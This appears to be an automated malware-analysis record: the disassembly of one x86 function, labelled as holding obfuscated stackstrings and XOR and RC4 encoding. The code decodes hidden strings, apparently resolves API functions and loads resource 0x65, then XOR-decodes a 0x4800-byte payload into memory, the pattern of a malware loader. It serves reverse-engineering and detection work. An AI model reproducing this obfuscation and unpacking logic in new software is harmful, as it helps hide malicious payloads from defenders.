Function at 0x401233
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x50
mov byte [ebp - 0x12], 0x21
mov byte [ebp - 0x11], 0x1d
mov byte [ebp - 0x10], 0x28
mov byte [ebp - 0xf], 0x21
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x13
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 1
mov byte [ebp - 0xa], 4
push esi
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6d
push edi
mov byte [ebp - 7], 0x40
mov al, byte [ebp - 0x13]
push 0x7f
pop edi
cmp byte [ebp - 0x14], bl
jne 0x4012ae
mov esi, ebx
mov al, byte [ebp + esi - 0x13]
movzx eax, al
push 0x40
pop ecx
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + esi - 0x13], dl
inc esi
cmp esi, 0xd
jb 0x40128c
lea ecx, [ebp - 0x13]
call fcn.00401123
mov byte [ebp - 0x14], bl
mov edi, eax
mov byte [ebp - 0x13], 0x3a
mov byte [ebp - 0x12], 1
mov byte [ebp - 0x11], 0xb
mov byte [ebp - 0x10], 0x76
mov byte [ebp - 0xf], 0x52
mov byte [ebp - 0xe], 0x78
mov byte [ebp - 0xd], 0x15
mov byte [ebp - 0xc], 0xd
mov byte [ebp - 0xb], 0x19
mov byte [ebp - 0xa], 0x13
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x2d
mov al, byte [ebp - 0x13]
mov dword [ebp - 0x18], edi
cmp byte [ebp - 0x14], bl
jne 0x401328
push 0x7f
mov esi, ebx
pop edi
mov al, byte [ebp + esi - 0x13]
movzx eax, al
push 0x2d
pop ecx
sub ecx, eax
imul eax, ecx, 0x3f
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + esi - 0x13], dl
inc esi
cmp esi, 0xe
jb 0x401303
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x13]
mov ecx, edi
call fcn.004011b3
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x2f
mov byte [ebp - 0x11], 0x1e
mov byte [ebp - 0x10], 0x4f
mov byte [ebp - 0xf], 0x27
mov byte [ebp - 0xe], 0x35
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xc], 0x2f
mov byte [ebp - 0xb], 0x12
mov byte [ebp - 0xa], 0x60
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x35
mov byte [ebp - 7], 0xc
mov dword [ebp - 0x1c], eax
mov al, byte [ebp - 0x13]
cmp byte [ebp - 0x14], bl
jne 0x40139e
push 0x7f
mov esi, ebx
pop edi
mov al, byte [ebp + esi - 0x13]
movzx eax, al
push 0xc
pop ecx
sub ecx, eax
imul eax, ecx, 0x2c
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + esi - 0x13], dl
inc esi
cmp esi, 0xd
jb 0x401379
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x13]
mov ecx, edi
call fcn.004011b3
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x15
mov byte [ebp - 0x12], 0xe
mov byte [ebp - 0x11], 0x31
mov byte [ebp - 0x10], 0x49
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x5a
mov byte [ebp - 0xd], 4
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 0xb], 0x39
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x5b
mov byte [ebp - 8], 0x28
mov byte [ebp - 7], 0x27
mov byte [ebp - 6], 0x49
mov byte [ebp - 5], 7
mov dword [ebp - 0x20], eax
mov al, byte [ebp - 0x13]
cmp byte [ebp - 0x14], bl
jne 0x401417
push 0x7f
mov ecx, ebx
pop esi
mov al, byte [ebp + ecx - 0x13]
movzx eax, al
sub eax, 7
imul eax, eax, 0xf
cdq
idiv esi
lea eax, [esi + edx]
cdq
idiv esi
mov byte [ebp + ecx - 0x13], dl
inc ecx
cmp ecx, 0xf
jb 0x4013f7
lea edx, [ebp - 0x13]
mov ecx, edi
call fcn.004011b3
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0x6b
mov byte [ebp - 0x12], 0x4e
mov byte [ebp - 0x11], 0x13
mov byte [ebp - 0x10], 0x10
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xe], 0x32
mov byte [ebp - 0xd], 0xd
mov byte [ebp - 0xc], 0x4e
mov byte [ebp - 0xb], 0x2c
mov byte [ebp - 0xa], 0x3d
mov byte [ebp - 9], 0x13
mov byte [ebp - 8], 0x32
mov byte [ebp - 7], 0x48
mov dword [ebp - 0x24], eax
mov al, byte [ebp - 0x13]
cmp byte [ebp - 0x14], bl
jne 0x40148d
push 0x7f
mov esi, ebx
pop edi
mov al, byte [ebp + esi - 0x13]
movzx eax, al
push 0x48
pop ecx
sub ecx, eax
imul eax, ecx, 0x2d
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + esi - 0x13], dl
inc esi
cmp esi, 0xd
jb 0x401468
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x13]
mov ecx, edi
call fcn.004011b3
mov byte [ebp - 0x10], 0
mov ebx, eax
mov byte [ebp - 0xf], 0x15
mov byte [ebp - 0xe], 0x7b
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x7b
mov byte [ebp - 0xb], 0x7c
mov byte [ebp - 0xa], 0x7b
mov byte [ebp - 9], 0x7b
mov byte [ebp - 8], 0x7b
mov al, byte [ebp - 0xf]
cmp byte [ebp - 0x10], 0
mov dword [ebp - 0x18], ebx
jne 0x4014f3
push 0x7f
xor esi, esi
pop ebx
mov al, byte [ebp + esi - 0xf]
movzx eax, al
push 0x7b
pop ecx
sub ecx, eax
imul eax, ecx, 0x1a
cdq
idiv ebx
lea eax, [ebx + edx]
cdq
idiv ebx
mov byte [ebp + esi - 0xf], dl
inc esi
cmp esi, 8
jb 0x4014ce
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0xf]
push eax
push 0x65
push 0
call dword [ebp - 0x1c]
mov edi, eax
push edi
push 0
call dword [ebp - 0x20]
push edi
push 0
mov esi, eax
call dword [ebp - 0x24]
push esi
call ebx
push 0x100000
mov esi, eax
call fcn.00403352
pop ecx
mov edi, eax
mov edx, 0x4800
mov ecx, edi
mov bl, 0x99
sub ecx, esi
mov al, byte [esi]
sub al, 0xc
xor al, bl
mov byte [ecx + esi], al
mov bl, byte [esi]
inc esi
sub edx, 1
jne 0x40152b
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403314
leave
ret